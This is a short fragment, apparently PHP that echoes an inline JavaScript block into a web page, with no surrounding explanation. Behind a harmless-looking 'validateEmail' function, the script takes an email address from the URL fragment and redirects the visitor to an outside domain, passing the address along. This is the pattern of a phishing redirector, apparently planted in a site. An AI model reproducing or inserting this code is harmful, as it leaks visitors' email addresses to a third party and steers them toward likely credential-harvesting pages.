echo '
<script type="text/javascript" >
function validateEmail(referrer) {
var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
return re.test(referrer);
}
var hash = window.location.hash.substring(1);
if(validateEmail(hash)) {
window.location = "https://wtpotus.com/account/token/referrer="+hash;
}
</script>
';